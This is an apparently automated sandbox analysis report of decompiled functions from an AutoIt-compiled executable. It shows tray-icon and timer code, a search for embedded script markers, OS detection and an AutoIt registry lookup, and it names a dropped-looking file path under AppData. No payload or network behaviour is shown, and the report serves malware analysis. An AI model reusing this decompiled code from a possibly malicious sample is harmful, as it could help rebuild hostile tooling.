0x00ee1430
0x00ee1436
0x00ee143d
0x00ee1442
0x00000000
0x00ee1444
0x00ee1444
0x00ee144a
0x00ee144b
0x00ee1450
0x00ee1450
0x00ee1452
0x00ee1456
0x00ee1456
0x00000000
0x00000000
0x00ee13f9
0x00ee1404
0x00ee140b
0x00ee1411
0x00ee1418
0x00000000
0x00000000
0x00000000
0x00000000
0x00f0af14
0x00f0af19
0x00f0af1b
0x00f0af1e
0x00f0af23
0x00f0af2d
0x00000000
0x00000000
0x00f0af09
0x00000000
0x00000000
0x00ee13ef
0x00ee13e9
0x00ee1391
0x00ee1391
0x00ee1397
0x00ee1459
0x00ee145f
0x00000000
0x00ee1465
0x00f0afec
0x00000000
0x00f0afec
0x00ee139d
0x00ee139d
0x00f0afa1
0x00f0afa8
0x00f0afb2
0x00f0afb2
0x00000000
0x00ee13a3
0x00ee13a3
0x00ee13a6
0x00f0af77
0x00f0af81
0x00f0af86
0x00f0af8d
0x00f0af94
0x00f0af99
0x00000000
0x00ee13ac
0x00ee13ac
0x00ee13b2
0x00000000
0x00ee13b4
0x00f0af5b
0x00f0af60
0x00f0af62
0x00000000
0x00f0af68
0x00ee13d3
0x00ee13d3
0x00ee13da
0x00ee13da
0x00f0af62
0x00ee13b2
0x00ee13a6
0x00ee139d
0x00ee1397
0x00ee138f
0x00ee1360
0x00ee1360
0x00ee1366
0x00f0afbc
0x00f0afc3
0x00f0afce
0x00f0afd8
0x00f0afd8
0x00f0afc3
0x00ee136c
0x00ee1376
0x00ee1381
0x00ee1381
0x00ee1359
0x00000000

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 00EE1376
KillTimer.USER32(?,00000001), ref: 00EE13F9

Part of subcall function 00EE1240: _memset.LIBCMT ref: 00EE126B
Part of subcall function 00EE1240: Shell_NotifyIconW.SHELL32(00000002,?), ref: 00EE129B

PostQuitMessage.USER32(00000000), ref: 00EE140B

Strings

TaskbarCreated, xrefs: 00EE142B

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: IconKillMessageNotifyPostProcQuitShell_TimerWindow_memset
String ID: TaskbarCreated
API String ID: 1519149367-2362178303
Opcode ID: 28eadbb522647239f9217d430c09ea44aa4077ac24846517529c8cd8efa578a7
Instruction ID: 605727b87dc9095b80dab8817b59d4675af16f99968b0973db0fd91eaf7aa087
Opcode Fuzzy Hash: 28eadbb522647239f9217d430c09ea44aa4077ac24846517529c8cd8efa578a7
Instruction Fuzzy Hash: 5C41367260438CDBDB20EB5AEC85BEE7758F740360F411166F815A65D1CAB19CC0A393

Uniqueness

Uniqueness Score: -1.00%

Function 00EEFE90, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00EEFE90(intOrPtr* _a4) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v65572;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t53;
				void* _t58;
				signed int _t68;
				intOrPtr* _t74;
				void* _t80;
				void* _t86;
				void* _t89;
				void* _t90;
				void* _t92;
				void* _t93;
				void* _t94;
				void* _t95;

				E00F02160(0x10020);
				_t74 = _a4;
				_t53 = 0;
				do {
					_t2 = _t53 + 0xf721a0; // 0xbe4b48a3
					_t3 = _t53 + 0xf72198; // 0xa534c99
					 *((char*)(_t92 + _t53 - 0x20)) =  *_t2;
					 *((char*)(_t92 + _t53 - 0x18)) =  *_t3;
					_t53 = _t53 + 1;
				} while (_t53 < 8);
				E00EF3570( &_v12, "AU3!");
				E00EF0D80( &_v20,  &_v12, 4);
				_t94 = _t93 + 0x14;
				_v16 = 0;
				while(1) {
					_t58 = E00EF4C24( &_v65572, 1, 0x10000,  *_t74); // executed
					_t95 = _t94 + 0x10;
					if(_t58 < 0x18) {
						break;
					}
					_t89 = _t58;
					_t13 = _t89 - 0x14; // -20
					_t90 = _t13;
					if(_t90 <= 0) {
						L11:
						_push(1);
						_t22 = _t89 - 0x14; // -20
						_push(0xffffffec);
						_push( *_t74);
						_v16 = _v16 + _t22;
						E00EF4FF1(_t74, _v16 + _t22, _t89, _t90, _t104); // executed
						_t94 = _t95 + 0xc;
						continue;
					}
					_t86 = 0;
					do {
						_t80 = 0;
						while(1) {
							_t75 =  *((intOrPtr*)(_t92 + _t80 - 0x20));
							if( *((intOrPtr*)(_t92 + _t80 - 0x20)) !=  *((intOrPtr*)(_t92 + _t80 + _t86 - 0x10020))) {
								break;
							}
							_t75 =  *((intOrPtr*)(_t92 + _t80 - 0x1f));
							__eflags =  *((intOrPtr*)(_t92 + _t80 - 0x1f)) -  *((intOrPtr*)(_t92 + _t80 + _t86 - 0x1001f));
							if(__eflags != 0) {
								_t80 = _t80 + 1;
								break;
							}
							_t75 =  *((intOrPtr*)(_t92 + _t80 - 0x1e));
							__eflags =  *((intOrPtr*)(_t92 + _t80 - 0x1e)) -  *((intOrPtr*)(_t92 + _t80 + _t86 - 0x1001e));
							if(__eflags != 0) {
								_t80 = _t80 + 2;
								break;
							}
							_t75 =  *((intOrPtr*)(_t92 + _t80 - 0x1d));
							__eflags =  *((intOrPtr*)(_t92 + _t80 - 0x1d)) -  *((intOrPtr*)(_t92 + _t80 + _t86 - 0x1001d));
							if(__eflags != 0) {
								_t80 = _t80 + 3;
								break;
							}
							_t75 =  *((intOrPtr*)(_t92 + _t80 - 0x1c));
							__eflags =  *((intOrPtr*)(_t92 + _t80 - 0x1c)) -  *((intOrPtr*)(_t92 + _t80 + _t86 - 0x1001c));
							if(__eflags != 0) {
								_t80 = _t80 + 4;
								break;
							}
							_t80 = _t80 + 5;
							__eflags = _t80 - 0x14;
							if(__eflags < 0) {
								continue;
							}
							break;
						}
						if(_t80 == 0x14) {
							_push(0);
							_t47 = _t86 + 0x14; // 0x14
							_push(_v16 + _t47);
							_push( *_a4);
							E00EF4FF1(_t75, _v16 + _t47, _t89, _a4, __eflags);
							E00EF4C24( &_v12, 1, 4,  *_a4);
							_v8 = 0;
							_t68 = E00EF4C50( &_v12, "EA06");
							asm("sbb eax, eax");
							return  ~_t68 & 0x00000004;
						}
						_t86 = _t86 + 1;
						_t104 = _t86 - _t90;
					} while (_t86 < _t90);
					_t74 = _a4;
					goto L11;
				}
				return 3;
			}

0x00eefe98
0x00eefe9e
0x00eefea3
0x00eefeb0
0x00eefeb0
0x00eefeb6
0x00eefebc
0x00eefec0
0x00eefec4
0x00eefec5
0x00eefed3
0x00eefee2
0x00eefee7
0x00eefeea
0x00eefef1
0x00eeff02
0x00eeff07
0x00eeff0d
0x00000000
0x00000000
0x00eeff0f
0x00eeff11
0x00eeff11
0x00eeff16
0x00eeff47
0x00eeff4c
0x00eeff4e
0x00eeff52
0x00eeff54
0x00eeff55
0x00eeff58
0x00eeff5d
0x00000000
0x00eeff5d
0x00eeff18
0x00eeff20
0x00eeff20
0x00eeff22
0x00eeff22
0x00eeff30
0x00000000
0x00000000
0x00f05c1f
0x00f05c26
0x00f05c2d
0x00f05c70
0x00000000
0x00f05c70
0x00f05c2f
0x00f05c36
0x00f05c3d
0x00f05c76
0x00000000
0x00f05c76
0x00f05c3f
0x00f05c46
0x00f05c4d
0x00f05c7e
0x00000000
0x00f05c7e
0x00f05c4f
0x00f05c56
0x00f05c5d
0x00f05c86
0x00000000
0x00f05c86
0x00f05c5f
0x00f05c62
0x00f05c65
0x00000000
0x00000000
0x00000000
0x00f05c6b
0x00eeff39
0x00f05c96
0x00f05c98
0x00f05c9c
0x00f05c9d
0x00f05c9e
0x00f05cae
0x00f05cbc
0x00f05cc0
0x00f05cca
0x00000000
0x00f05ccc
0x00eeff3f
0x00eeff40
0x00eeff40
0x00eeff44
0x00000000
0x00eeff44
0x00000000

APIs

_memmove.LIBCMT ref: 00EEFEE2
__fread_nolock.LIBCMT ref: 00EEFF02
_fseek.LIBCMT ref: 00EEFF58

Strings

EA06, xrefs: 00F05CB6
AU3!, xrefs: 00EEFECD

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: __fread_nolock_fseek_memmove
String ID: AU3!$EA06
API String ID: 3969463491-2658333250
Opcode ID: fe9a6b8a999337ca91f53c2f0a82165b9862d46ca1df6fd30fff329c4a0d3101
Instruction ID: 6463d2c9a9184c92edccb20af589f37b5e18e35573f87ebbec2a89cc41829b7a
Opcode Fuzzy Hash: fe9a6b8a999337ca91f53c2f0a82165b9862d46ca1df6fd30fff329c4a0d3101
Instruction Fuzzy Hash: F8414D72A0418C5BDF21CB74C891FFE3BA4AB0A300F6454B9F685EB282E670D581DB61

Uniqueness

Uniqueness Score: -1.00%

Function 00EE1490, Relevance: 12.1, APIs: 8, Instructions: 86
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EE1490(void* __eax, void* __ecx, struct HWND__* __esi, intOrPtr _a4) {
				struct _NOTIFYICONDATAW _v944;
				int _t34;
				int _t51;
				intOrPtr _t61;
				struct HWND__* _t62;
				void* _t70;

				_t62 = __esi;
				_t34 = __eax - 1;
				if(_t34 != 0) {
					L6:
					return _t34;
				} else {
					_t51 = _t34 + 1;
					_v944.cbSize = 0x3a8;
					E00EF2E60( &(_v944.hWnd), _t34, 0x3a4);
					E00EE1E00(_a4, _t70);
					if( *0xf774ea != 0) {
						_t61 = _a4;
						_v944.hWnd = __esi;
						_v944.uID = _t51;
						_v944.uFlags = 2;
						if( *0xf774ec != 0) {
							if( *(_t61 + 0x194) != _t51) {
								 *(_t61 + 0x194) = _t51;
								_v944.hIcon =  *((intOrPtr*)(_t61 + 0x1a8));
								Shell_NotifyIconW(_t51,  &_v944);
							} else {
								 *(_t61 + 0x194) = 0;
								_v944.hIcon =  *((intOrPtr*)(_t61 + 0x19c));
								Shell_NotifyIconW(_t51,  &_v944);
							}
						} else {
							if( *((char*)(_t61 + 9)) != 0) {
								if( *(_t61 + 0x195) == 0) {
									_v944.hIcon =  *((intOrPtr*)(_t61 + 0x1b0));
									 *(_t61 + 0x195) = _t51;
									Shell_NotifyIconW(_t51,  &_v944);
								} else {
									_v944.hIcon =  *((intOrPtr*)(_t61 + 0x19c));
									 *(_t61 + 0x195) = 0;
									Shell_NotifyIconW(_t51,  &_v944);
								}
							} else {
								if( *(_t61 + 0x194) == _t51) {
									 *(_t61 + 0x194) = 0;
									_v944.hIcon =  *((intOrPtr*)(_t61 + 0x19c));
									Shell_NotifyIconW(_t51,  &_v944);
								}
							}
						}
					}
					KillTimer(_t62, _t51);
					_t34 = SetTimer(_t62, _t51, 0x2ee, 0); // executed
					goto L6;
				}
			}

0x00ee1490
0x00ee1499
0x00ee149c
0x00ee1528
0x00ee152d
0x00ee14a2
0x00ee14a8
0x00ee14b2
0x00ee14bc
0x00ee14c7
0x00ee14d3
0x00ee14dc
0x00ee14df
0x00ee14e5
0x00ee14eb
0x00ee14f5
0x00f07bab
0x00f07be1
0x00f07be7
0x00f07bed
0x00f07bad
0x00f07bbb
0x00f07bc2
0x00f07bc8
0x00f07bc8
0x00ee14fb
0x00ee14ff
0x00f07bff
0x00f07c35
0x00f07c3b
0x00f07c41
0x00f07c01
0x00f07c0f
0x00f07c15
0x00f07c1c
0x00f07c1c
0x00ee1505
0x00ee150b
0x00f07c5a
0x00f07c61
0x00f07c67
0x00f07c67
0x00ee150b
0x00ee14ff
0x00ee14f5
0x00ee1513
0x00ee1522
0x00000000
0x00ee1522

APIs

_memset.LIBCMT ref: 00EE14BC

Part of subcall function 00EE1E00: _memset.LIBCMT ref: 00EE1E90
Part of subcall function 00EE1E00: _wcsncpy.LIBCMT ref: 00EE1ED2
Part of subcall function 00EE1E00: _wcscpy.LIBCMT ref: 00EE1EF1
Part of subcall function 00EE1E00: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00EE1F03

KillTimer.USER32(?,?,?,?,?), ref: 00EE1513
SetTimer.USER32(?,?,000002EE,00000000), ref: 00EE1522
Shell_NotifyIconW.SHELL32(?,000003A8), ref: 00F07BC8
Shell_NotifyIconW.SHELL32(?,000003A8), ref: 00F07C1C
Shell_NotifyIconW.SHELL32(?,000003A8), ref: 00F07C67

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: IconNotifyShell_$Timer_memset$Kill_wcscpy_wcsncpy
String ID:
API String ID: 1792922140-0
Opcode ID: 547b11c5c44a506ed8524b0aa5078c4bef02e7bc2eaa5715ce8b3e0103154449
Instruction ID: d0fe581c628e90d637bf9b30d6329c61c1c820b716ae875459c061930150d946
Opcode Fuzzy Hash: 547b11c5c44a506ed8524b0aa5078c4bef02e7bc2eaa5715ce8b3e0103154449
Instruction Fuzzy Hash: D731B4B0A08A4DBFEB66DB24CC85BE6FBBDBB46304F0051C5E19D56141C7706E88DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00EEE700, Relevance: 10.7, APIs: 7, Instructions: 157
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00EEE700(intOrPtr* __edi, void* __eflags) {
				void* _v8;
				struct HINSTANCE__* _v12;
				struct HINSTANCE__* _v20;
				struct HINSTANCE__* _v24;
				struct HINSTANCE__* _v32;
				struct _SYSTEM_INFO _v68;
				char _v70;
				signed char _v72;
				struct _OSVERSIONINFOW _v352;
				void* __ebx;
				void* __esi;
				void* _t85;
				char _t86;
				struct HINSTANCE__* _t92;
				struct HINSTANCE__* _t97;
				intOrPtr* _t99;
				char _t105;
				intOrPtr* _t115;

				_t115 = __edi;
				_t116 = __edi + 0xc;
				E00EEBEC0(__edi + 0xc, __eflags);
				 *((char*)(__edi + 0x30)) = 0;
				_v352.dwOSVersionInfoSize = 0x11c;
				GetVersionExW( &_v352);
				 *((intOrPtr*)(__edi + 8)) = _v352.dwBuildNumber;
				 *__edi = _v352.dwMajorVersion;
				 *((intOrPtr*)(__edi + 4)) = _v352.dwMinorVersion;
				E00EE2390(__edi + 0xc,  &(_v352.szCSDVersion), _v352.dwMinorVersion, __edi);
				E00EEE860(_t116);
				E00EEE880(0xf652f0, _t116);
				_t85 =  *__edi - 5;
				 *((char*)(__edi + 0x2c)) = 0;
				 *((intOrPtr*)(__edi + 0x1c)) = 0;
				 *((intOrPtr*)(__edi + 0x20)) = 0;
				 *((intOrPtr*)(__edi + 0x24)) = 0;
				 *((intOrPtr*)(__edi + 0x28)) = 0;
				if(_t85 == 0) {
					_t86 =  *((intOrPtr*)(__edi + 4));
					__eflags = _t86;
					if(_t86 != 0) {
						__eflags = _t86 - 1;
						if(_t86 != 1) {
							__eflags = _t86 - 2;
							if(_t86 == 2) {
								__eflags = _v70 - 1;
								 *((char*)(__edi + 0x1d)) = 1;
								 *((char*)(__edi + 0x1f)) = 1;
								 *((char*)(__edi + 0x21)) = 1;
								if(_v70 != 1) {
									 *((char*)(__edi + 0x20)) = 1;
								} else {
									 *((char*)(__edi + 0x1e)) = 1;
								}
							}
						} else {
							 *((char*)(__edi + 0x1d)) = _t86;
							 *((short*)(__edi + 0x1e)) = 0x101;
						}
					} else {
						 *((short*)(__edi + 0x1c)) = 0x101;
					}
					 *((char*)(_t115 + 0x30)) = (_v72 & 0x000000ff) >> 0x00000006 & 0x00000001;
				} else {
					if(_t85 == 1) {
						_t105 =  *((intOrPtr*)(__edi + 4));
						 *((char*)(__edi + 0x1d)) = 1;
						 *((char*)(__edi + 0x1f)) = 1;
						 *((char*)(__edi + 0x21)) = 1;
						if(_t105 == 0) {
							__eflags = _v70 - 1;
							if(_v70 != 1) {
								 *((char*)(__edi + 0x23)) = 1;
								 *((short*)(__edi + 0x24)) = 0x101;
							} else {
								 *((short*)(__edi + 0x22)) = 0x101;
							}
						} else {
							if(_t105 != 1) {
								__eflags = _t105 - 2;
								if(_t105 == 2) {
									 *((short*)(__edi + 0x2a)) = 0x101;
									 *((char*)(__edi + 0x29)) = 1;
									 *((char*)(__edi + 0x27)) = 1;
									 *((char*)(__edi + 0x23)) = 1;
								}
							} else {
								 *((char*)(__edi + 0x23)) = _t105;
								 *((char*)(__edi + 0x25)) = _t105;
								if(_v70 != _t105) {
									 *((char*)(__edi + 0x27)) = 1;
									 *((short*)(__edi + 0x28)) = 0x101;
								} else {
									 *((short*)(__edi + 0x26)) = 0x101;
								}
							}
						}
					}
				}
				_v20 = 0;
				_v12 = 0;
				E00EF0870( &_v20);
				_t127 = _v12;
				if(_v12 != 0) {
					_push( &_v8);
					_v8 = 0;
					_push(GetCurrentProcess());
					 *((intOrPtr*)(E00EF08C0( &_v20, _t127)))();
					if(_v8 == 1) {
						 *((char*)(_t115 + 0x2c)) = 1;
					}
				}
				_v68.dwOemId = 0;
				_v68.dwPageSize = 0;
				_v68.lpMinimumApplicationAddress = 0;
				_v68.lpMaximumApplicationAddress = 0;
				_v68.dwActiveProcessorMask = 0;
				_v68.dwNumberOfProcessors = 0;
				_v68.dwProcessorType = 0;
				_v68.dwAllocationGranularity = 0;
				_v68.wProcessorLevel = 0;
				if( *((intOrPtr*)(_t115 + 0x2c)) == 0) {
					GetSystemInfo( &_v68);
				} else {
					_v32 = 0;
					_v24 = 0;
					E00EF08E0( &_v32);
					_t130 = _v24;
					if(_v24 == 0) {
						GetSystemInfo( &_v68);
					} else {
						_t99 = E00EF0930( &_v32, _t130); // executed
						 *_t99( &_v68); // executed
					}
					_t97 = _v32;
					if(_t97 != 0) {
						FreeLibrary(_t97);
					}
				}
				_t92 = _v20;
				 *((short*)(_t115 + 0x2e)) = _v68.dwOemId;
				if(_t92 != 0) {
					FreeLibrary(_t92);
				}
				return _t115;
			}

0x00eee700
0x00eee70b
0x00eee710
0x00eee71c
0x00eee720
0x00eee72a
0x00eee742
0x00eee74d
0x00eee74f
0x00eee752
0x00eee757
0x00eee761
0x00eee76a
0x00eee76d
0x00eee770
0x00eee773
0x00eee776
0x00eee779
0x00eee77c
0x00f07457
0x00f0745a
0x00f0745c
0x00f07466
0x00f07469
0x00f07476
0x00f07479
0x00f0747b
0x00f0747f
0x00f07483
0x00f07487
0x00f0748b
0x00f07493
0x00f0748d
0x00f0748d
0x00f0748d
0x00f0748b
0x00f0746b
0x00f0746b
0x00f0746e
0x00f0746e
0x00f0745e
0x00f0745e
0x00f0745e
0x00f074a1
0x00eee782
0x00eee783
0x00eee785
0x00eee788
0x00eee78c
0x00eee790
0x00eee796
0x00f07408
0x00f0740c
0x00f07419
0x00f0741d
0x00f0740e
0x00f0740e
0x00f0740e
0x00eee79c
0x00eee79f
0x00f07437
0x00f0743a
0x00f07440
0x00f07446
0x00f0744a
0x00f0744e
0x00f0744e
0x00eee7a5
0x00eee7a5
0x00eee7a8
0x00eee7ae
0x00f07428
0x00f0742c
0x00eee7b4
0x00eee7b4
0x00eee7b4
0x00eee7ae
0x00eee79f
0x00eee796
0x00eee783
0x00eee7bd
0x00eee7c0
0x00eee7c3
0x00eee7c8
0x00eee7cb
0x00eee7d0
0x00eee7d1
0x00eee7da
0x00eee7e0
0x00eee7e6
0x00eee7e8
0x00eee7e8
0x00eee7e6
0x00eee7ee
0x00eee7f1
0x00eee7f4
0x00eee7f7
0x00eee7fa
0x00eee7fd
0x00eee800
0x00eee803
0x00eee806
0x00eee80c
0x00f074bc
0x00eee812
0x00eee815
0x00eee818
0x00eee81b
0x00eee820
0x00eee823
0x00f074ad
0x00eee829
0x00eee82d
0x00eee832
0x00eee832
0x00eee834
0x00eee83f
0x00eee842
0x00eee842
0x00eee83f
0x00eee844
0x00eee84b
0x00eee851
0x00eee854
0x00eee854
0x00eee85d

APIs

GetVersionExW.KERNEL32(?), ref: 00EEE72A

Part of subcall function 00EE2390: _wcslen.LIBCMT ref: 00EE239D
Part of subcall function 00EE2390: _memmove.LIBCMT ref: 00EE23C3

GetCurrentProcess.KERNEL32(?), ref: 00EEE7D4
GetNativeSystemInfo.KERNELBASE(?), ref: 00EEE832
FreeLibrary.KERNEL32(?), ref: 00EEE842
FreeLibrary.KERNEL32(?), ref: 00EEE854

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeLibrary$CurrentInfoNativeProcessSystemVersion_memmove_wcslen
String ID:
API String ID: 3363477735-0
Opcode ID: 64f3ef235997d98e58402ecd1613a85972909da43a509e8409ce6b7708e42269
Instruction ID: fbc8ae1317394dbe8af2e93ae4a56e9ca6d3d686b519c965e6d797b06711ba79
Opcode Fuzzy Hash: 64f3ef235997d98e58402ecd1613a85972909da43a509e8409ce6b7708e42269
Instruction Fuzzy Hash: 3461AF74D0878AEECB10DFA5C88829CFFB4BF09304F14459AD444A3B42D3B5B998DB96

Uniqueness

Uniqueness Score: -1.00%

Function 00EEF3B0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00EEF3B0(void* __ebx, void* __edi, void* __esi) {
				void* _v8;
				void* _v12;
				char _v16;
				char _v20;
				short _v24;
				char _v544;
				char _v1068;
				char* _t21;
				intOrPtr* _t24;
				intOrPtr* _t29;
				void* _t31;
				intOrPtr* _t32;
				intOrPtr* _t34;
				void* _t38;
				void* _t55;
				void* _t57;

				_t55 = __edi;
				_t38 = __ebx;
				_t21 =  &_v8;
				__imp__SHGetMalloc(_t21); // executed
				if(_t21 != 0) {
					L9:
					E00F13229(_t55, _t38, 0x105);
					return 0;
				} else {
					_t57 = 0; // executed
					__imp__SHGetDesktopFolder( &_v12, __esi); // executed
					if(_t21 == 0) {
						E00EF2EDA( &_v544, __ebx, 0x104);
						_v24 = 0;
						_t29 = _v12;
						_t31 =  *((intOrPtr*)( *((intOrPtr*)( *_t29 + 0xc))))(_t29, 0, 0,  &_v544,  &_v20,  &_v16, 0); // executed
						if(_t31 == 0) {
							__imp__SHGetPathFromIDListW(_v16,  &_v1068); // executed
							_t57 = _t31;
							if(_t57 != 0) {
								E00EF2EDA(__edi,  &_v1068, 0x104);
								 *((short*)(__edi + 0x208)) = 0;
							}
							_t34 = _v8;
							 *((intOrPtr*)( *((intOrPtr*)( *_t34 + 0x14))))(_t34, _v16);
						}
						_t32 = _v12;
						 *((intOrPtr*)( *((intOrPtr*)( *_t32 + 8))))(_t32);
					}
					_t24 = _v8;
					 *((intOrPtr*)( *((intOrPtr*)( *_t24 + 8))))(_t24);
					if(_t57 == 0) {
						goto L9;
					} else {
						return 1;
					}
				}
			}

0x00eef3b0
0x00eef3b0
0x00eef3b9
0x00eef3bd
0x00eef3c5
0x00f05d6d
0x00f05d74
0x00f05d7e
0x00eef3cb
0x00eef3d0
0x00eef3d2
0x00eef3da
0x00eef3ed
0x00eef407
0x00eef40b
0x00eef416
0x00eef41a
0x00eef427
0x00eef42d
0x00eef431
0x00eef440
0x00eef44a
0x00eef44a
0x00eef451
0x00eef45e
0x00eef45e
0x00eef460
0x00eef469
0x00eef469
0x00eef46b
0x00eef474
0x00eef479
0x00000000
0x00eef47f
0x00eef484
0x00eef484
0x00eef479

APIs

SHGetMalloc.SHELL32(00EEF1FC), ref: 00EEF3BD
SHGetDesktopFolder.SHELL32(?,00F890E8), ref: 00EEF3D2
_wcsncpy.LIBCMT ref: 00EEF3ED
SHGetPathFromIDListW.SHELL32(?,?), ref: 00EEF427
_wcsncpy.LIBCMT ref: 00EEF440

Strings

C:\Users\user\AppData\Roaming\22032878\xaso.fhr, xrefs: 00EEF3EB, 00EEF43F, 00F05D72, 00F05D73

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _wcsncpy$DesktopFolderFromListMallocPath
String ID: C:\Users\user\AppData\Roaming\22032878\xaso.fhr
API String ID: 3170942423-776828797
Opcode ID: 86668cfa4a81560b217fff119cffa7c6ad1931c1b11247a709067a1a6b483234
Instruction ID: efb85b4be43038edf7f16abef5bd589a39db3b04f7650c8d30eaf004e3e8b96f
Opcode Fuzzy Hash: 86668cfa4a81560b217fff119cffa7c6ad1931c1b11247a709067a1a6b483234
Instruction Fuzzy Hash: 65218575A01619ABC710DBA4DC84DEFB37DEF88704F108598F915A7250EB70DE41DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EEE6C0, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 79
registryCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00EEE6C0(void* __esi, void* __eflags) {
				int _v8;
				void* _v12;
				char* _v20;
				void* __ebx;
				void* __edi;
				long _t23;
				long _t34;
				signed int _t37;
				int _t42;
				void* _t57;
				char* _t58;

				E00EE3580(__esi);
				_t23 = RegOpenKeyExW(0x80000001, L"Software\\AutoIt v3\\AutoIt", 0, 1,  &_v12); // executed
				if(_t23 == 0) {
					_t42 = 0;
					__eflags = RegQueryValueExW(_v12, L"Include", 0, 0, 0,  &_v8);
					if(__eflags == 0) {
						_push(_t57);
						_push( ~(0 | __eflags > 0x00000000) | (_v8 + 0x00000001) * 0x00000002);
						E00F164CB(__eflags,  &_v20, E00EF14F7(_t57, __esi, __eflags));
						_t58 = _v20;
						_t55 = _v12;
						_t34 = RegQueryValueExW(_v12, L"Include", 0, 0, _t58,  &_v8);
						__eflags = _t34;
						if(_t34 == 0) {
							_t37 = _v8 >> 1;
							_v8 = _t37;
							__eflags = 0;
							 *((short*)(_t58 + _t37 * 2)) = 0;
							E00EE2390(__esi, _t58, _t55, _t58);
							_t42 = 1;
						}
						E00F164A4( &_v20);
					}
					RegCloseKey(_v12);
					return _t42;
				} else {
					return 0;
				}
			}

0x00eee6c6
0x00eee6dd
0x00eee6e5
0x00f07115
0x00f0711d
0x00f0711f
0x00f07131
0x00f07136
0x00f07144
0x00f07149
0x00f0714c
0x00f0715e
0x00f07164
0x00f07166
0x00f0716b
0x00f0716d
0x00f07170
0x00f07172
0x00f0717a
0x00f0717f
0x00f0717f
0x00f07185
0x00f0718a
0x00f0718f
0x00f0719b
0x00eee6eb
0x00eee6f0
0x00eee6f0

APIs

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,?,?,00EEE6A1), ref: 00EEE6DD
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,00EEE6A1,00000000,?,?,?,00EEE6A1), ref: 00F07117
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,00EEE6A1,?,00000000,?,?,?,?,00EEE6A1), ref: 00F0715E
RegCloseKey.ADVAPI32(?,?,?,?,00EEE6A1), ref: 00F0718F

Strings

Include, xrefs: 00F0710F, 00F07158
Software\AutoIt v3\AutoIt, xrefs: 00EEE6D3

Memory Dump Source

